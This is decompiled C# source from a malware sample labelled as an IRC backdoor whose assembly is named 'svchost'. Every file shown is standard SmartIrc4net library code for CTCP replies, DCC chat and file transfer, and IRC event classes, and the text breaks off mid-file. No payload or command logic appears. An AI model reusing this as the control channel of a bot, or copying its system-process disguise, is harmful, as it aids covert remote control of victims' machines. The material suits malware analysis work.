// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void IrcEventHandler(object sender, IrcEventArgs e);
}

View File

@ -0,0 +1,342 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcFeatures
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.IO;
using System.Net;
using System.Threading;
namespace Meebey.SmartIrc4net
{
public class IrcFeatures : IrcClient
{
private IPAddress _ExternalIpAdress;
private List<DccConnection> _DccConnections = new List<DccConnection>();
private Dictionary<string, CtcpDelegate> _CtcpDelegates = new Dictionary<string, CtcpDelegate>((IEqualityComparer<string>) StringComparer.CurrentCultureIgnoreCase);
private string _CtcpUserInfo;
private string _CtcpUrl;
private string _CtcpSource;
internal DccSpeed Speed = DccSpeed.RfcSendAhead;
public IPAddress ExternalIpAdress
{
get => this._ExternalIpAdress;
set => this._ExternalIpAdress = value;
}
public ReadOnlyCollection<DccConnection> DccConnections => new ReadOnlyCollection<DccConnection>((IList<DccConnection>) this._DccConnections);
public Dictionary<string, CtcpDelegate> CtcpDelegates => this._CtcpDelegates;
public string CtcpUserInfo
{
get => this._CtcpUserInfo;
set => this._CtcpUserInfo = value;
}
public string CtcpUrl
{
get => this._CtcpUrl;
set => this._CtcpUrl = value;
}
public string CtcpSource
{
get => this._CtcpSource;
set => this._CtcpSource = value;
}
public event DccConnectionHandler OnDccChatRequestEvent;
public void DccChatRequestEvent(DccEventArgs e)
{
if (this.OnDccChatRequestEvent == null)
return;
this.OnDccChatRequestEvent((object) this, e);
}
public event DccSendRequestHandler OnDccSendRequestEvent;
public void DccSendRequestEvent(DccSendRequestEventArgs e)
{
if (this.OnDccSendRequestEvent == null)
return;
this.OnDccSendRequestEvent((object) this, e);
}
public event DccConnectionHandler OnDccChatStartEvent;
public void DccChatStartEvent(DccEventArgs e)
{
if (this.OnDccChatStartEvent == null)
return;
this.OnDccChatStartEvent((object) this, e);
}
public event DccConnectionHandler OnDccSendStartEvent;
public void DccSendStartEvent(DccEventArgs e)
{
if (this.OnDccSendStartEvent == null)
return;
this.OnDccSendStartEvent((object) this, e);
}
public event DccChatLineHandler OnDccChatReceiveLineEvent;
public void DccChatReceiveLineEvent(DccChatEventArgs e)
{
if (this.OnDccChatReceiveLineEvent == null)
return;
this.OnDccChatReceiveLineEvent((object) this, e);
}
public event DccSendPacketHandler OnDccSendReceiveBlockEvent;
public void DccSendReceiveBlockEvent(DccSendEventArgs e)
{
if (this.OnDccSendReceiveBlockEvent == null)
return;
this.OnDccSendReceiveBlockEvent((object) this, e);
}
public event DccChatLineHandler OnDccChatSentLineEvent;
public void DccChatSentLineEvent(DccChatEventArgs e)
{
if (this.OnDccChatSentLineEvent == null)
return;
this.OnDccChatSentLineEvent((object) this, e);
}
public event DccSendPacketHandler OnDccSendSentBlockEvent;
internal void DccSendSentBlockEvent(DccSendEventArgs e)
{
if (this.OnDccSendSentBlockEvent == null)
return;
this.OnDccSendSentBlockEvent((object) this, e);
}
public event DccConnectionHandler OnDccChatStopEvent;
public void DccChatStopEvent(DccEventArgs e)
{
if (this.OnDccChatStopEvent == null)
return;
this.OnDccChatStopEvent((object) this, e);
}
public event DccConnectionHandler OnDccSendStopEvent;
public void DccSendStopEvent(DccEventArgs e)
{
if (this.OnDccSendStopEvent == null)
return;
this.OnDccSendStopEvent((object) this, e);
}
public IrcFeatures()
{
this.OnCtcpRequest += new CtcpEventHandler(this.CtcpRequestsHandler);
this._CtcpDelegates.Add("version", new CtcpDelegate(this.CtcpVersionDelegate));
this._CtcpDelegates.Add("clientinfo", new CtcpDelegate(this.CtcpClientInfoDelegate));
this._CtcpDelegates.Add("time", new CtcpDelegate(this.CtcpTimeDelegate));
this._CtcpDelegates.Add("userinfo", new CtcpDelegate(this.CtcpUserInfoDelegate));
this._CtcpDelegates.Add("url", new CtcpDelegate(this.CtcpUrlDelegate));
this._CtcpDelegates.Add("source", new CtcpDelegate(this.CtcpSourceDelegate));
this._CtcpDelegates.Add("finger", new CtcpDelegate(this.CtcpFingerDelegate));
this._CtcpDelegates.Add("dcc", new CtcpDelegate(this.CtcpDccDelegate));
this._CtcpDelegates.Add("ping", new CtcpDelegate(this.CtcpPingDelegate));
}
public void InitDccChat(string user) => this.InitDccChat(user, false);
public void InitDccChat(string user, bool passive) => this.InitDccChat(user, passive, Priority.Medium);
public void InitDccChat(string user, bool passive, Priority priority)
{
DccChat dccChat = new DccChat(this, user, this._ExternalIpAdress, passive, priority);
this._DccConnections.Add((DccConnection) dccChat);
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork));
this.RemoveInvalidDccConnections();
}
public void SendFile(string user, string filepath)
{
FileInfo fileInfo = new FileInfo(filepath);
if (!fileInfo.Exists)
return;
this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, false, Priority.Medium);
}
public void SendFile(string user, string filepath, bool passive)
{
FileInfo fileInfo = new FileInfo(filepath);
if (!fileInfo.Exists)
return;
this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, passive, Priority.Medium);
}
public void SendFile(string user, Stream file, string filename, long filesize) => this.SendFile(user, file, filename, filesize, DccSpeed.RfcSendAhead, false);
public void SendFile(
string user,
Stream file,
string filename,
long filesize,
DccSpeed speed,
bool passive)
{
this.SendFile(user, file, filename, filesize, speed, passive, Priority.Medium);
}
public void SendFile(
string user,
Stream file,
string filename,
long filesize,
DccSpeed speed,
bool passive,
Priority priority)
{
DccSend dccSend = new DccSend(this, user, this._ExternalIpAdress, file, filename, filesize, speed, passive, priority);
this._DccConnections.Add((DccConnection) dccSend);
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork));
this.RemoveInvalidDccConnections();
}
private void CtcpRequestsHandler(object sender, CtcpEventArgs e)
{
if (this._CtcpDelegates.ContainsKey(e.CtcpCommand))
this._CtcpDelegates[e.CtcpCommand](e);
this.RemoveInvalidDccConnections();
}
private void CtcpVersionDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "VERSION " + (this.CtcpVersion == null ? this.VersionString : this.CtcpVersion));
private void CtcpClientInfoDelegate(CtcpEventArgs e)
{
string message = "CLIENTINFO";
foreach (KeyValuePair<string, CtcpDelegate> ctcpDelegate in this._CtcpDelegates)
message = message + " " + ctcpDelegate.Key.ToUpper();
this.SendMessage(SendType.CtcpReply, e.Data.Nick, message);
}
private void CtcpPingDelegate(CtcpEventArgs e)
{
if (e.Data.Message.Length > 7)
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING " + e.Data.Message.Substring(6, e.Data.Message.Length - 7));
else
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING");
}
private void CtcpRfcPingDelegate(CtcpEventArgs e)
{
if (e.Data.Message.Length > 7)
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG " + e.Data.Message.Substring(6, e.Data.Message.Length - 7));
else
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG");
}
private void CtcpTimeDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "TIME " + DateTime.Now.ToString("r"));
private void CtcpUserInfoDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "USERINFO " + (this.CtcpUserInfo == null ? "No user info given." : this.CtcpUserInfo));
private void CtcpUrlDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "URL " + (this.CtcpUrl == null ? "http://www.google.com" : this.CtcpUrl));
private void CtcpSourceDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "SOURCE " + (this.CtcpSource == null ? "http://smartirc4net.meebey.net" : this.CtcpSource));
private void CtcpFingerDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "FINGER Don't touch little Helga there! ");
private void CtcpDccDelegate(CtcpEventArgs e)
{
if (e.Data.MessageArray.Length < 2)
{
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC missing parameters");
}
else
{
switch (e.Data.MessageArray[1])
{
case "CHAT":
DccChat dccChat = new DccChat(this, this._ExternalIpAdress, e);
this._DccConnections.Add((DccConnection) dccChat);
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork));
break;
case "SEND":
if (e.Data.MessageArray.Length > 6 && this.FilterMarker(e.Data.MessageArray[6]) != "T")
{
long result = -1;
long.TryParse(this.FilterMarker(e.Data.MessageArray[6]), out result);
foreach (DccConnection dccConnection in this._DccConnections)
{
if (dccConnection.isSession(result))
{
((DccSend) dccConnection).SetRemote(e);
((DccSend) dccConnection).AcceptRequest((Stream) null, 0L);
return;
}
}
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid passive DCC");
break;
}
DccSend dccSend = new DccSend(this, this._ExternalIpAdress, e);
this._DccConnections.Add((DccConnection) dccSend);
ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork));
break;
case "RESUME":
foreach (DccConnection dccConnection in this._DccConnections)
{
if (dccConnection is DccSend && ((DccSend) dccConnection).TryResume(e))
return;
}
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC RESUME");
break;
case "ACCEPT":
foreach (DccConnection dccConnection in this._DccConnections)
{
if (dccConnection is DccSend && ((DccSend) dccConnection).TryAccept(e))
return;
}
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC ACCEPT");
break;
case "XMIT":
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC XMIT not implemented");
break;
default:
this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC " + e.CtcpParameter + " unavailable");
break;
}
}
}
private void RemoveInvalidDccConnections()
{
List<DccConnection> dccConnectionList = new List<DccConnection>();
foreach (DccConnection dccConnection in this._DccConnections)
{
if (!dccConnection.Valid && !dccConnection.Connected)
dccConnectionList.Add(dccConnection);
}
foreach (DccConnection dccConnection in dccConnectionList)
this._DccConnections.Remove(dccConnection);
}
private string FilterMarker(string msg)
{
string str = "";
foreach (char ch in msg)
{
if (ch != '\u0001')
str += (string) (object) ch;
}
return str;
}
}
}

View File

@ -0,0 +1,76 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcMessageData
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class IrcMessageData
{
private IrcClient _Irc;
private string _From;
private string _Nick;
private string _Ident;
private string _Host;
private string _Channel;
private string _Message;
private string[] _MessageArray;
private string _RawMessage;
private string[] _RawMessageArray;
private ReceiveType _Type;
private ReplyCode _ReplyCode;
public IrcClient Irc => this._Irc;
public string From => this._From;
public string Nick => this._Nick;
public string Ident => this._Ident;
public string Host => this._Host;
public string Channel => this._Channel;
public string Message => this._Message;
public string[] MessageArray => this._MessageArray;
public string RawMessage => this._RawMessage;
public string[] RawMessageArray => this._RawMessageArray;
public ReceiveType Type => this._Type;
public ReplyCode ReplyCode => this._ReplyCode;
public IrcMessageData(
IrcClient ircclient,
string from,
string nick,
string ident,
string host,
string channel,
string message,
string rawmessage,
ReceiveType type,
ReplyCode replycode)
{
this._Irc = ircclient;
this._RawMessage = rawmessage;
this._RawMessageArray = rawmessage.Split(' ');
this._Type = type;
this._ReplyCode = replycode;
this._From = from;
this._Nick = nick;
this._Ident = ident;
this._Host = host;
this._Channel = channel;
if (message == null)
return;
this._Message = message;
this._MessageArray = message.Split(' ');
}
}
}

View File

@ -0,0 +1,101 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcUser
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System.Collections.Specialized;
namespace Meebey.SmartIrc4net
{
public class IrcUser
{
private IrcClient _IrcClient;
private string _Nick;
private string _Ident;
private string _Host;
private string _Realname;
private bool _IsIrcOp;
private bool _IsRegistered;
private bool _IsAway;
private string _Server;
private int _HopCount = -1;
internal IrcUser(string nickname, IrcClient ircclient)
{
this._IrcClient = ircclient;
this._Nick = nickname;
}
public string Nick
{
get => this._Nick;
set => this._Nick = value;
}
public string Ident
{
get => this._Ident;
set => this._Ident = value;
}
public string Host
{
get => this._Host;
set => this._Host = value;
}
public string Realname
{
get => this._Realname;
set => this._Realname = value;
}
public bool IsIrcOp
{
get => this._IsIrcOp;
set => this._IsIrcOp = value;
}
public bool IsRegistered
{
get => this._IsRegistered;
internal set => this._IsRegistered = value;
}
public bool IsAway
{
get => this._IsAway;
set => this._IsAway = value;
}
public string Server
{
get => this._Server;
set => this._Server = value;
}
public int HopCount
{
get => this._HopCount;
set => this._HopCount = value;
}
public string[] JoinedChannels
{
get
{
string[] channels = this._IrcClient.GetChannels();
StringCollection stringCollection = new StringCollection();
foreach (string channelname in channels)
{
if (this._IrcClient.GetChannel(channelname).UnsafeUsers.ContainsKey((object) this._Nick))
stringCollection.Add(channelname);
}
string[] array = new string[stringCollection.Count];
stringCollection.CopyTo(array, 0);
return array;
}
}
}
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.JoinEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class JoinEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
public string Channel => this._Channel;
public string Who => this._Who;
internal JoinEventArgs(IrcMessageData data, string channel, string who)
: base(data)
{
this._Channel = channel;
this._Who = who;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.JoinEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void JoinEventHandler(object sender, JoinEventArgs e);
}

View File

@ -0,0 +1,38 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.KickEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class KickEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Whom;
private string _KickReason;
public string Channel => this._Channel;
public string Who => this._Who;
public string Whom => this._Whom;
public string KickReason => this._KickReason;
internal KickEventArgs(
IrcMessageData data,
string channel,
string who,
string whom,
string kickreason)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Whom = whom;
this._KickReason = kickreason;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.KickEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void KickEventHandler(object sender, KickEventArgs e);
}

View File

@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ListEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class ListEventArgs : IrcEventArgs
{
private ChannelInfo f_ListInfo;
public ChannelInfo ListInfo => this.f_ListInfo;
internal ListEventArgs(IrcMessageData data, ChannelInfo listInfo)
: base(data)
{
this.f_ListInfo = listInfo;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ListEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void ListEventHandler(object sender, ListEventArgs e);
}

View File

@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.MotdEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class MotdEventArgs : IrcEventArgs
{
private string _MotdMessage;
public string MotdMessage => this._MotdMessage;
internal MotdEventArgs(IrcMessageData data, string motdmsg)
: base(data)
{
this._MotdMessage = motdmsg;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.MotdEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void MotdEventHandler(object sender, MotdEventArgs e);
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NamesEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class NamesEventArgs : IrcEventArgs
{
private string _Channel;
private string[] _UserList;
public string Channel => this._Channel;
public string[] UserList => this._UserList;
internal NamesEventArgs(IrcMessageData data, string channel, string[] userlist)
: base(data)
{
this._Channel = channel;
this._UserList = userlist;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NamesEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void NamesEventHandler(object sender, NamesEventArgs e);
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NickChangeEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class NickChangeEventArgs : IrcEventArgs
{
private string _OldNickname;
private string _NewNickname;
public string OldNickname => this._OldNickname;
public string NewNickname => this._NewNickname;
internal NickChangeEventArgs(IrcMessageData data, string oldnick, string newnick)
: base(data)
{
this._OldNickname = oldnick;
this._NewNickname = newnick;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NickChangeEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void NickChangeEventHandler(object sender, NickChangeEventArgs e);
}

View File

@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NonRfcChannel
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System.Collections;
namespace Meebey.SmartIrc4net
{
public class NonRfcChannel : Channel
{
private Hashtable _Halfops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
internal NonRfcChannel(string name)
: base(name)
{
}
public Hashtable Halfops => (Hashtable) this._Halfops.Clone();
internal Hashtable UnsafeHalfops => this._Halfops;
}
}

View File

@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NonRfcChannelUser
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class NonRfcChannelUser : ChannelUser
{
private bool _IsHalfop;
private bool _IsOwner;
private bool _IsAdmin;
internal NonRfcChannelUser(string channel, IrcUser ircuser)
: base(channel, ircuser)
{
}
public bool IsHalfop
{
get => this._IsHalfop;
set => this._IsHalfop = value;
}
}
}

View File

@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.NotConnectedException
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Runtime.Serialization;
namespace Meebey.SmartIrc4net
{
[Serializable]
public class NotConnectedException : ConnectionException
{
public NotConnectedException()
{
}
public NotConnectedException(string message)
: base(message)
{
}
public NotConnectedException(string message, Exception e)
: base(message, e)
{
}
protected NotConnectedException(SerializationInfo info, StreamingContext context)
: base(info, context)
{
}
}
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.OpEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class OpEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _Whom;
public string Channel => this._Channel;
public string Who => this._Who;
public string Whom => this._Whom;
internal OpEventArgs(IrcMessageData data, string channel, string who, string whom)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._Whom = whom;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.OpEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void OpEventHandler(object sender, OpEventArgs e);
}

View File

@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.PartEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class PartEventArgs : IrcEventArgs
{
private string _Channel;
private string _Who;
private string _PartMessage;
public string Channel => this._Channel;
public string Who => this._Who;
public string PartMessage => this._PartMessage;
internal PartEventArgs(IrcMessageData data, string channel, string who, string partmessage)
: base(data)
{
this._Channel = channel;
this._Who = who;
this._PartMessage = partmessage;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.PartEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void PartEventHandler(object sender, PartEventArgs e);
}

View File

@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.PingEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class PingEventArgs : IrcEventArgs
{
private string _PingData;
public string PingData => this._PingData;
internal PingEventArgs(IrcMessageData data, string pingdata)
: base(data)
{
this._PingData = pingdata;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.PingEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void PingEventHandler(object sender, PingEventArgs e);
}

View File

@ -0,0 +1,23 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.PongEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace Meebey.SmartIrc4net
{
public class PongEventArgs : IrcEventArgs
{
private TimeSpan _Lag;
